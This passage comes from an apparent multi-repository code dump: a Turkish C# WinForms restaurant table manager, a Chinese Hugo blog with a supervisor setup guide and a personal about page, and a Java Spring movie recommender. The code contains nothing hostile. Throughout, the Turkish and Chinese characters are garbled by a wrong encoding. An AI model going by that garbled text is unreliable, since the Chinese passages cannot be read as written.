// sERPMEKAHVALTIToolStripMenuItem
//
this.sERPMEKAHVALTIToolStripMenuItem.Name = "sERPMEKAHVALTIToolStripMenuItem";
this.sERPMEKAHVALTIToolStripMenuItem.Size = new System.Drawing.Size(272, 34);
this.sERPMEKAHVALTIToolStripMenuItem.Text = "SERPME KAHVALTI";
//
// AnaMenu
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(1111, 597);
this.Controls.Add(this.menuStrip1);
this.IsMdiContainer = true;
this.MainMenuStrip = this.menuStrip1;
this.Name = "AnaMenu";
this.Text = "AnaMenu";
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.MenuStrip menuStrip1;
private System.Windows.Forms.ToolStripMenuItem iรงeceklerToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem yฤฐYECEKLERToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sOฤUKฤฐรECEKLERToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sICAKฤฐรECEKLERToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem gรNEBAลLARKENToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem tATLIKAHVALTILARToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem kรYKAHVALTISIToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sERPMEKAHVALTIToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem aTIลTIRMALIKLARToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sALATALARToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem tATLILARToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem aNAYEMEKToolStripMenuItem;
}
}```
Urun.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Restrand
{
public abstract class Urun:Restaurant
{
public string UrunAdi { get; set; }
public int UrunAdet { get; set; }
public float UrunFiyat { get; set; }
}
}```
Istatistik.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Restrand
{
public abstract class Istatistik:Restaurant
{
public int RandevuAdet { get; set; }
public int BasariliRandevu { get; set; }
}
}```
Masa.cs
```๏ปฟusing System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Restrand
{
public partial class Masa : Form
{
public Masa()
{
InitializeComponent();
using(SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = Utils.ConnectionString();
conn.Open();
using (SqlCommand selectCommand = new SqlCommand(Utils.SelectMasaKonumu, conn))
{
SqlDataReader dr = selectCommand.ExecuteReader();
while (dr.Read())
{
cbMasaKonumu.Items.Add(dr[0]);
}
}
}
}
private void BtnMasaEkle_Click(object sender, EventArgs e)
{
if (cbMasaKonumu.SelectedIndex == -1)
{
MessageBox.Show("Masa eklemek iรงin seรงili bir masa konumu olmasฤฑ gerek");
return;
}
if (txtSandSayi.Text.Trim() == "" || txtMasaNumarasi.Text.Trim() == "")
{
MessageBox.Show("Lรผtfen tรผm alanlarฤฑ doldurunuz");
return;
}
MasaBilgileri masa = new MasaBilgileri()
{
masaKonumu = cbMasaKonumu.SelectedItem.ToString(),
sandalyeSayisi = Convert.ToInt32(txtSandSayi.Text)
};
using (SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = Utils.ConnectionString();
conn.Open();
using (SqlCommand insertCommand = new SqlCommand(Utils.InsertMasaBilgileri, conn))
{
insertCommand.Parameters.AddWithValue("@masaNumarasi", txtMasaNumarasi.Text);
insertCommand.Parameters.AddWithValue("@masaKonumu", cbMasaKonumu.SelectedItem);
insertCommand.Parameters.AddWithValue("@sandalyeSayisi", txtSandSayi.Text);
insertCommand.ExecuteNonQuery();
MessageBox.Show("Masa Kaydedildi");
}
conn.Close();
}
// Restrand formunun lstEklenenMasa adlฤฑ listesine eriลebilmek iรงin
// ilk รถnce listenin "Modifier'ฤฑnฤฑ" public yapฤฑyoruz(Arayรผz รzerinden)
// Daha sonra aลaฤฤฑdaki ลekilde forma eriลebiliyoruz.
Form f = Application.OpenForms["Restrand"];
((Restrand)f).lstEklenenMasa.Items.Add(masa);
lstEklenenMasalar.Items.Add(masa);
txtSandSayi.Clear();
}
private void BtnMasaKonumuEkle_Click(object senders, EventArgs e)
{
Form KonumEkle = new Form()
{
Text = "Masa Konumu Ekle",
Size = new Size(252, 473),
StartPosition = this.StartPosition,
TopMost = true
};
Label lblMasaKonumu = new Label
{
Text = "Masa Konumu",
TextAlign = ContentAlignment.TopLeft,
Location = new Point(28, 9),
Size = new Size(75, 13),
};
TextBox txtMasaKonumu = new TextBox
{
Anchor = AnchorStyles.Top | AnchorStyles.Right | AnchorStyles.Left,
Location = new Point(28, 25),
Size = new Size(173, 20),
};
ListBox lstMasaKonumu = new ListBox
{
Anchor = AnchorStyles.Top | AnchorStyles.Right | AnchorStyles.Bottom | AnchorStyles.Left,
Location = new Point(28, 50),
Size = new Size(173, 325)
};
Button btnKonumEkle = new Button
{
Text = "Ekle",
Anchor = AnchorStyles.Bottom | AnchorStyles.Right | AnchorStyles.Left,
Location = new Point(29, 370),
Size = new Size(172, 28)
};
Button btnKonumSil = new Button
{
Text = "Sil",
Anchor = AnchorStyles.Bottom | AnchorStyles.Right | AnchorStyles.Left,
Location = new Point(29, 400),
Size = new Size(172, 28)
};
KonumEkle.Controls.Add(lblMasaKonumu);
KonumEkle.Controls.Add(txtMasaKonumu);
KonumEkle.Controls.Add(lstMasaKonumu);
KonumEkle.Controls.Add(btnKonumEkle);
KonumEkle.Controls.Add(btnKonumSil);
using(SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = Utils.ConnectionString();
conn.Open();
using(SqlCommand selectCommand = new SqlCommand(Utils.SelectMasaKonumu, conn))
{
SqlDataReader dr = selectCommand.ExecuteReader();
while (dr.Read())
{
lstMasaKonumu.Items.Add(dr[0]);
}
}
}
KonumEkle.Show();
btnKonumEkle.Focus();
btnKonumEkle.Click += (sender, args) =>
{
for (int i = 0; i < lstMasaKonumu.Items.Count; i++)
{
if (lstMasaKonumu.Items[i].ToString() == txtMasaKonumu.Text.Trim())
{
MessageBox.Show("Zaten bรถyle bir konum var");
return;
}
}
if (!string.IsNullOrWhiteSpace(txtMasaKonumu.Text))
{
using (SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = Utils.ConnectionString();
conn.Open();
using (SqlCommand insertCommand = new SqlCommand(Utils.InsertMasaKonumu, conn))
{
insertCommand.Parameters.AddWithValue("@masaKonumuAd", txtMasaKonumu.Text);
insertCommand.ExecuteNonQuery();
}
conn.Close();
}
lstMasaKonumu.Items.Add(txtMasaKonumu.Text);
cbMasaKonumu.Items.Add(txtMasaKonumu.Text);
txtMasaKonumu.Clear();
};
};
btnKonumSil.Click += (sender, args) =>
{
if (lstMasaKonumu.SelectedIndex != -1)
{
using (SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = Utils.ConnectionString();
conn.Open();
using (SqlCommand deleteCommand = new SqlCommand(Utils.DeleteMasaKonumu, conn))
{
deleteCommand.Parameters.AddWithValue("@masaKonumuAd", lstMasaKonumu.SelectedItem);
deleteCommand.ExecuteNonQuery();
cbMasaKonumu.Items.Remove(lstMasaKonumu.SelectedItem);
lstMasaKonumu.Items.Remove(lstMasaKonumu.SelectedItem);
}
conn.Close();
}
}
else
{
MessageBox.Show("Silmek iรงin lรผtfen bir masa seรงiniz!");
}
};
}
private void CbMasaKonumu_SelectedIndexChanged(object sender, EventArgs e)
{
}
}
}
```
Utils.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Restrand
{
static class Utils
{ /**
@string ServerName[server adฤฑ] Local bilgisayarฤฑn adฤฑnฤฑ tutar
@string DatabaseName[veritabanฤฑ adฤฑ]* "RESTRAND_DB_NAME" adฤฑnda bir deฤiลken varsa deฤerini alฤฑr
@string DatabaseUsername[veritabanฤฑ kullanฤฑcฤฑ adฤฑ]* "RESTRAND_DB_USERNAME" adฤฑnda bir deฤiลken varsa deฤerini alฤฑr
@string DatabasePassword[veritabanฤฑ kullanฤฑcฤฑ ลifresi]* "RESTRAND_DB_PASSWORD" adฤฑnda bir deฤiลken varsa deฤerini alฤฑr
Geliลtirici environment variable iรงinde yukarฤฑda ki gerekli (*) deฤiลkenleri ve karลฤฑlฤฑklarฤฑnฤฑ tutmalฤฑdฤฑr.
Environment variable oluลturma รถrnek(CMD): setx RESTRAND_DB_NAME "db_adi_รถrnek"
*/
public static string ServerName { get; } = Environment.GetEnvironmentVariable("USERDOMAIN");
public static string DatabaseName { get; } = Environment.GetEnvironmentVariable("RESTRAND_DB_NAME");
public static string DatabaseUsername { get; } = Environment.GetEnvironmentVariable("RESTRAND_DB_USERNAME");
public static string DatabasePassword { get; } = Environment.GetEnvironmentVariable("RESTRAND_DB_PASSWORD");
public static string ConnectionString(string serverName = null, string databaseName = null,
string databaseUsername = null, string databasePassword = null)
{
// Eฤer parametre verilmez ise varsayฤฑlan verileri atar aksi takdirde verilen deฤeri atar.
string dbServerName = string.IsNullOrEmpty(serverName) ? ServerName : serverName;
string dbName = string.IsNullOrEmpty(databaseName) ? DatabaseName : databaseName;
string dbUsername = string.IsNullOrEmpty(databaseUsername) ? DatabaseUsername : databaseUsername;
string dbPassword = string.IsNullOrEmpty(databasePassword) ? DatabasePassword : databasePassword;
string connectionString =
$"Data Source={dbServerName}; Initial Catalog={dbName};" +
$"User id={dbUsername}; Password={dbPassword};";
return connectionString;
}
public static string SelectMasaBilgileri { get; } = "SELECT * FROM MasaBilgileri";
public static string InsertMasaBilgileri { get; } = "INSERT INTO MasaBilgileri ([MasaNumarasi], [MasaKonumu], [SandalyeSayisi]) VALUES(@masaNumarasi, @masaKonumu, @sandalyeSayisi)";
public static string SelectMasaKonumu { get; } = "SELECT * FROM MasaKonumu";
public static string InsertMasaKonumu { get; } = "INSERT INTO MasaKonumu ([MasaKonumuAd]) VALUES(@masaKonumuAd)";
public static string DeleteMasaKonumu { get; } = "DELETE FROM MasaKonumu WHERE MasaKonumuAd = @masaKonumuAd";
}
}
```
Restaurant.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Restrand
{
public abstract class Restaurant
{
public abstract int MasaSayisi();
public abstract int SandelyeSayisi();
public abstract string MasaKonumu();
public abstract object Menu();
}
}```
Program.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Restrand
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
// Veritabanฤฑ baฤlantฤฑsฤฑ saฤlanamazsa Exception mesajฤฑ dรถndรผr
using (SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = Utils.ConnectionString();
try
{
conn.Open();
conn.Close();
Application.Run(new Restrand());
}
catch (Exception)
{
MessageBox.Show("Veritabanฤฑ ile baฤlantฤฑ saฤlanamadฤฑ. " +
"Lรผtfen geliลtiriciniz ile iletiลime geรงiniz", "VERฤฐTABANI BAฤLANTI HATASI",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
};
}
}
}
```
MasaBilgileri.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Restrand
{
public class MasaBilgileri
{
static int masaSayisi = 0;
public int MasaSayisi()
{
return masaSayisi;
}
public MasaBilgileri()
{
// Her รถrnek oluลturulduฤunda masa sayฤฑsฤฑnฤฑ 1 artฤฑr
masaSayisi++;
}
public int sandalyeSayisi;
public string masaKonumu;
public override string ToString()
{
return $"Konum: {masaKonumu}, San: {sandalyeSayisi}";
}
}
}```
MusteriBilgileri.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Restrand
{
public class MusteriBilgileri
{
public string Adi;
public string Soyadi;
public int TelNo;
}
}```
Masa.Designer.cs
```๏ปฟnamespace Restrand
{
partial class Masa
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.txtSandSayi = new System.Windows.Forms.TextBox();
this.label3 = new System.Windows.Forms.Label();
this.lstEklenenMasalar = new System.Windows.Forms.ListBox();
this.btnMasaEkle = new System.Windows.Forms.Button();
this.label2 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.txtMasaNumarasi = new System.Windows.Forms.TextBox();
this.cbMasaKonumu = new System.Windows.Forms.ComboBox();
this.btnMasaKonumuEkle = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// txtSandSayi
//
this.txtSandSayi.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txtSandSayi.Location = new System.Drawing.Point(28, 103);
this.txtSandSayi.Name = "txtSandSayi";
this.txtSandSayi.Size = new System.Drawing.Size(173, 20);
this.txtSandSayi.TabIndex = 13;
//
// label3
//
this.label3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(26, 87);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(81, 13);
this.label3.TabIndex = 12;
this.label3.Text = "Sandelye Sayisฤฑ";
//
// lstEklenenMasalar
//
this.lstEklenenMasalar.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.lstEklenenMasalar.FormattingEnabled = true;
this.lstEklenenMasalar.Location = new System.Drawing.Point(29, 130);
this.lstEklenenMasalar.Name = "lstEklenenMasalar";
this.lstEklenenMasalar.Size = new System.Drawing.Size(173, 251);
this.lstEklenenMasalar.TabIndex = 11;
//
// btnMasaEkle
//
this.btnMasaEkle.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.btnMasaEkle.Location = new System.Drawing.Point(29, 398);
this.btnMasaEkle.Name = "btnMasaEkle";
this.btnMasaEkle.Size = new System.Drawing.Size(172, 28);
this.btnMasaEkle.TabIndex = 10;
this.btnMasaEkle.Text = "Ekle";
this.btnMasaEkle.UseVisualStyleBackColor = true;
this.btnMasaEkle.Click += new System.EventHandler(this.BtnMasaEkle_Click);
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(26, 9);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(75, 13);
this.label2.TabIndex = 9;
this.label2.Text = "Masa Konumu";
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(26, 48);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(80, 13);
this.label1.TabIndex = 15;
this.label1.Text = "Masa Numarasฤฑ";
//
// txtMasaNumarasi
//
this.txtMasaNumarasi.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txtMasaNumarasi.Location = new System.Drawing.Point(29, 64);
this.txtMasaNumarasi.Name = "txtMasaNumarasi";
this.txtMasaNumarasi.Size = new System.Drawing.Size(173, 20);
this.txtMasaNumarasi.TabIndex = 16;
//
// cbMasaKonumu
//
this.cbMasaKonumu.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.cbMasaKonumu.FormattingEnabled = true;
this.cbMasaKonumu.Location = new System.Drawing.Point(28, 25);
this.cbMasaKonumu.Name = "cbMasaKonumu";
this.cbMasaKonumu.Size = new System.Drawing.Size(145, 21);
this.cbMasaKonumu.TabIndex = 17;
this.cbMasaKonumu.SelectedIndexChanged += new System.EventHandler(this.CbMasaKonumu_SelectedIndexChanged);
//
// btnMasaKonumuEkle
//
this.btnMasaKonumuEkle.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.btnMasaKonumuEkle.BackgroundImage = global::Restrand.Properties.Resources.baseline_add_black_18dp;
this.btnMasaKonumuEkle.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom;
this.btnMasaKonumuEkle.FlatAppearance.BorderSize = 0;
this.btnMasaKonumuEkle.Font = new System.Drawing.Font("Microsoft Sans Serif", 12.75F, System.Drawing.FontStyle.Bold);
this.btnMasaKonumuEkle.Location = new System.Drawing.Point(179, 25);
this.btnMasaKonumuEkle.Name = "btnMasaKonumuEkle";
this.btnMasaKonumuEkle.Size = new System.Drawing.Size(23, 23);
this.btnMasaKonumuEkle.TabIndex = 18;
this.btnMasaKonumuEkle.UseVisualStyleBackColor = true;
this.btnMasaKonumuEkle.Click += new System.EventHandler(this.BtnMasaKonumuEkle_Click);
//
// Masa
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(236, 434);
this.Controls.Add(this.btnMasaKonumuEkle);
this.Controls.Add(this.cbMasaKonumu);
this.Controls.Add(this.txtMasaNumarasi);
this.Controls.Add(this.label1);
this.Controls.Add(this.txtSandSayi);
this.Controls.Add(this.label3);
this.Controls.Add(this.lstEklenenMasalar);
this.Controls.Add(this.btnMasaEkle);
this.Controls.Add(this.label2);
this.Name = "Masa";
this.Text = "Masa Ekle";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TextBox txtSandSayi;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.ListBox lstEklenenMasalar;
private System.Windows.Forms.Button btnMasaEkle;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TextBox txtMasaNumarasi;
private System.Windows.Forms.ComboBox cbMasaKonumu;
private System.Windows.Forms.Button btnMasaKonumuEkle;
}
}```
|
yunxi177/blog
|
yunxi177/blog
supervisor.md
```+++
title = "Supervisor ๅฎ่ฃ
ไธไฝฟ็จ"
date = 2018-09-04T11:22:14+08:00
tags = ["linux"]
categories = ["linux"]
+++
# ็ฎไป
supervisor็ฎก็่ฟ็จ๏ผๆฏ้่ฟfork/exec็ๆนๅผๅฐ่ฟไบ่ขซ็ฎก็็่ฟ็จๅฝไฝsupervisor็ๅญ่ฟ็จๆฅๅฏๅจ๏ผๆไปฅๆไปฌๅช้่ฆๅฐ่ฆ็ฎก็่ฟ็จ็ๅฏๆง่กๆไปถ็่ทฏๅพๆทปๅ ๅฐsupervisor็้
็ฝฎๆไปถไธญๅฐฑๅฅฝไบใๆญคๆถ่ขซ็ฎก็่ฟ็จ่ขซ่งไธบsupervisor็ๅญ่ฟ็จ๏ผ่ฅ่ฏฅๅญ่ฟ็จๅผๅธธไธญๆญ๏ผๅ็ถ่ฟ็จๅฏไปฅๅ็กฎ็่ทๅๅญ่ฟ็จๅผๅธธไธญๆญ็ไฟกๆฏ๏ผ้่ฟๅจ้
็ฝฎๆไปถไธญ่ฎพ็ฝฎautostart=ture๏ผๅฏไปฅๅฎ็ฐๅฏนๅผๅธธไธญๆญ็ๅญ่ฟ็จ็่ชๅจ้ๅฏใ
# ๅฎ่ฃ
`sudo apt-get install supervisor`
# ้
็ฝฎ
- ่ฟๅ
ฅ้
็ฝฎๆไปถ็ฎๅฝ : `cd /etc/supervisor/conf.d`
- ๆฐๅปบ้
็ฝฎๆไปถ `sudo vim test.conf`
้
็ฝฎๅ
ๅฆๅฆไธ๏ผ
```
[program:cow]
command=/home/argericy/workspace/test #่ฆๆง่ก็ๅฝไปค
autostart=true #่ชๅจๅฏๅจ
autorestart=true #่ชๅจ้ๅฏ
user=root #ๆง่กๅฝไปค็จๆท
log_stderr=true
logfile=/var/log/test.log #ๆฅๅฟๆไปถ
stopsignal=INT
[supervisord]
```
# ๅธธ่ง้ฎ้ข
## supervisor Error: .ini file does not include supervisord section
ๅจ้
็ฝฎๆไปถไธญๅขๅ `[supervisord]` ้
็ฝฎ้กน
```
_index.md
```+++
date = "2015-06-20T14:02:37+02:00"
title = "About"
hidden = true
+++
ไฝไธบไธๅphperๅ
ฅ่ก๏ผๅฆไปๅทฒไธ่ฝฝๆไฝใไธ่ทฏๆๆชๅ็บง๏ผไธๆขๅฆ็งฐๅฐๆ๏ผไปไปฅไธ้ขๅๅฟ๏ผๅ็่ชๅทฑ็ไปฃ็ ๏ผๆ็ญ็ฑ็ๆดป๏ผๅ
ถๆฌกๆฏ่บๆฏ๏ผ่ฎค็็ๅๅฅฝๆฏ่กไปฃ็ ๏ผๆไธบๆ็ๆฏ่กไปฃ็ ่ด่ดฃใ
ๅๆฌข้ป็ ๆๆฏ๏ผๆฌข่ฟๅไฝๅ้ไธญไบบ๏ผ็ธไบๆข่ฎจ๏ผ็ธไบๅญฆไน ใ
***
### ๆ่ฝๆ
- php
- swoole
- swoft
- thinkphp
- yii2
- mysql
- sqlไผๅ
- ่ฏปๅๅ็ฆป
- ไธปไปๅคๅถ
- golang
- begoo
- hugo
- linux
- shell
- LANPๆญๅปบ & ๆง่ฝ่ฐไผ
- ๅๅไปฃ็
<br>
### ่็ณปๆนๅผ
- QQ ๏ผ2970131851
- email : yunxi177@gmail.com
```
|
yunxiaoli2017/movie-recommender
|
yunxiaoli2017/movie-recommender
README.md
```# Movie Recommender
A Spring Boot web app that generates movie recommendations from a user's submitted ratings running a user-based collaborative filtering recommendation engine.
To see the app in action, go to [https://movie-recommender-demo.herokuapp.com/](https://movie-recommender-demo.herokuapp.com/)
### Dataset
Original and processed movieLens dataset, as well as processing steps can be found at another repository [27M-movieLens-dataset-processing](https://github.com/yunxiaoli2017/27M-movieLens-dataset-processing). Main processings are:
* Scrap poster urls from IMDB
* Normalize ratings with decoupling normalization
* Extract popular movies dataset and compact ratings dataset.
### Framework & Database
* [Angular](https://angular.io/) (In brach angular)
* [Spring Boot](https://spring.io/)
* [PostgresQL](https://www.postgresql.org/) (served on [AWS](https://aws.amazon.com/rds/))
* [Flyway](https://flywaydb.org/)
### Algorithm
* User-based collaborative filtering
* Draw a number of movies for the user to rate.
(Only draw from movies with > 5,000 ratings to increase the chance that the user has known some of them before)
* Based on submitted ratings, find raters in database who have also rated the same movies and compute similarities with the user for all raters found.
(To reduce time cost, compact ratings dataset can be used at this step)
* Search for ratings of all raters found, and compute predicted scores on movies they rated.
(To reduce time cost, 100 most similar raters are used)
* Sort out movies with highest scores and recommend to the user.
(Aside from top 10 from popular movies with > 5,000 ratings, top 10 from unpopular ones with < 5,000 ratings are also recommended to tackle 'long tail' problem, as to provide harder-to-find, unexpected discoveries)
### Other Tools
* [Heroku](https://www.heroku.com/)
* [Thymeleaf](https://www.thymeleaf.org/)
* [Bootstrap](https://getbootstrap.com/)
## License
#### [MIT](./LICENSE)
```
MovieService.java
```package yunxiao.movierecommender.service;
import java.util.ArrayList;
import java.util.List;
import java.util.NoSuchElementException;
import java.util.Optional;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.stereotype.Service;
import yunxiao.movierecommender.dao.MovieDao;
import yunxiao.movierecommender.model.Movie;
@Service
public class MovieService {
private final MovieDao movieDao;
@Autowired
public MovieService(@Qualifier("postgres-movie") MovieDao movieDao) {
this.movieDao = movieDao;
}
public Optional<Movie> getMovieById(int id) {
return movieDao.getMovieById(id);
}
public List<Movie> getRandomMovies(int num) {
return movieDao.getRandomMovies(num);
}
public List<Movie> getRandomPopularMovies(int num) {
return movieDao.getRandomPopularMovies(num);
}
public List<Movie> getRecommendedMovies(List<Integer> movieIds) {
List<Movie> movies = new ArrayList<>();
Movie movie = new Movie();
for (Integer id : movieIds) {
try {
movie = getMovieById(id).get();
} catch (NoSuchElementException e) {
movie = null;
}
if (movie != null) {
movies.add(movie);
}
}
return movies;
}
}
```
RatingService.java
```package yunxiao.movierecommender.service;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.PriorityQueue;
import java.util.Set;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.stereotype.Service;
import yunxiao.movierecommender.dao.MovieDataAccessService;
import yunxiao.movierecommender.dao.RatingDao;
import yunxiao.movierecommender.model.Rater;
import yunxiao.movierecommender.model.Rating;
@Service
public class RatingService {
private final RatingDao ratingDao;
static public int MAX_RECOMMENDATIONS = 10;
static public int MAX_RECOMMENDING_RATERS = 100;
static public final List<Double> POSSIBLE_RATINGS = Collections.unmodifiableList(Arrays.asList((double) 1, (double) 2, (double) 3, (double) 4, (double) 5));
@Autowired
public RatingService(@Qualifier("postgres-rating") RatingDao ratingDao) {
this.ratingDao = ratingDao;
}
public List<Rating> getRatingByRaterId(int raterId) {
return ratingDao.getRatingByRaterId(raterId);
}
public List<Rating> getRatingByMovieId(int movieId) {
return ratingDao.getRatingByMovieId(movieId);
}
public List<Integer> getRecommendedMovieIds(List<Rating> ratings) {
Set<Integer> ratedMovieIds = getRatedMovieIds(ratings);
Map<Integer, Double> similarities = ratingDao.getSimilarityMap(ratings);
List<Rater> raters = getTopRaters(similarities);
Map<Integer, Double> movieScores = getMovieScores(raters, ratedMovieIds);
List<Map<Integer, Double>> dividedMovieScores = divideByPopularity(movieScores);
Map<Integer, Double> popularMovieScores = dividedMovieScores.get(0);
Map<Integer, Double> unpopularMovieScores = dividedMovieScores.get(1);
int numMovie = Integer.min(MAX_RECOMMENDATIONS, unpopularMovieScores.size());
List<Integer> topUnpopularMovies = getTopMovieIds(unpopularMovieScores, numMovie);
numMovie = Integer.min(2 * MAX_RECOMMENDATIONS - topUnpopularMovies.size(), popularMovieScores.size());
List<Integer> topPopularMovies = getTopMovieIds(popularMovieScores, numMovie);
List<Integer> topMovies = weaveTwoLists(topPopularMovies, topUnpopularMovies);
return topMovies;
}
private List<Integer> weaveTwoLists(List<Integer> topPopularMovies, List<Integer> topUnpopularMovies) {
List<Integer> topMovies = new ArrayList<>();
for (int i = 0; i < Integer.max(topUnpopularMovies.size(), topPopularMovies.size()); i++) {
if (i < topPopularMovies.size()) {
topMovies.add(topPopularMovies.get(i));
}
if (i < topUnpopularMovies.size()) {
topMovies.add(topUnpopularMovies.get(i));
}
}
return topMovies;
}
private List<Map<Integer, Double>> divideByPopularity(Map<Integer, Double> movieScores) {
List<Map<Integer, Double>> dividedMovieScores = new ArrayList<>();
Map<Integer, Double> popularMovieScores = new HashMap<>();
Map<Integer, Double> unpopularMovieScores = new HashMap<>();
for (Map.Entry<Integer, Double> entry : movieScores.entrySet()) {
if (MovieDataAccessService.popularMovieIds.contains(entry.getKey())) {
popularMovieScores.put(entry.getKey(), entry.getValue());
} else {
unpopularMovieScores.put(entry.getKey(), entry.getValue());
}
}
dividedMovieScores.add(popularMovieScores);
dividedMovieScores.add(unpopularMovieScores);
return dividedMovieScores;
}
private List<Rater> getTopRaters(Map<Integer, Double> similarities) {
int numRater = Integer.min(MAX_RECOMMENDING_RATERS, similarities.size());
Comparator<Entry<Integer, Double>> similarityComparator = new Comparator<Entry<Integer, Double>>() {
@Override
public int compare(Entry<Integer, Double> e0, Entry<Integer, Double> e1)
{
Double v0 = e0.getValue();
Double v1 = e1.getValue();
return v0.compareTo(v1);
}
};
PriorityQueue<Entry<Integer, Double>> topSimilarities = new PriorityQueue<Entry<Integer, Double>>(numRater, similarityComparator);
for (Entry<Integer, Double> entry : similarities.entrySet()) {
topSimilarities.offer(entry);
if (topSimilarities.size() > numRater) {
topSimilarities.poll();
}
}
List<Rater> topRaters = new ArrayList<Rater>();
while (topSimilarities.size() > 0) {
Entry<Integer, Double> entry = topSimilarities.poll();
topRaters.add(new Rater(entry.getKey(), entry.getValue()));
}
return topRaters;
}
private Set<Integer> getRatedMovieIds(List<Rating> ratings) {
Set<Integer> ids = new HashSet<>();
for (Rating r : ratings) {
ids.add(r.getMovieId());
}
return ids;
}
private List<Integer> getTopMovieIds(Map<Integer, Double> scores, int numMovie) {
numMovie = Integer.min(numMovie, scores.size());
if (numMovie < 1) {
return new ArrayList<Integer>();
}
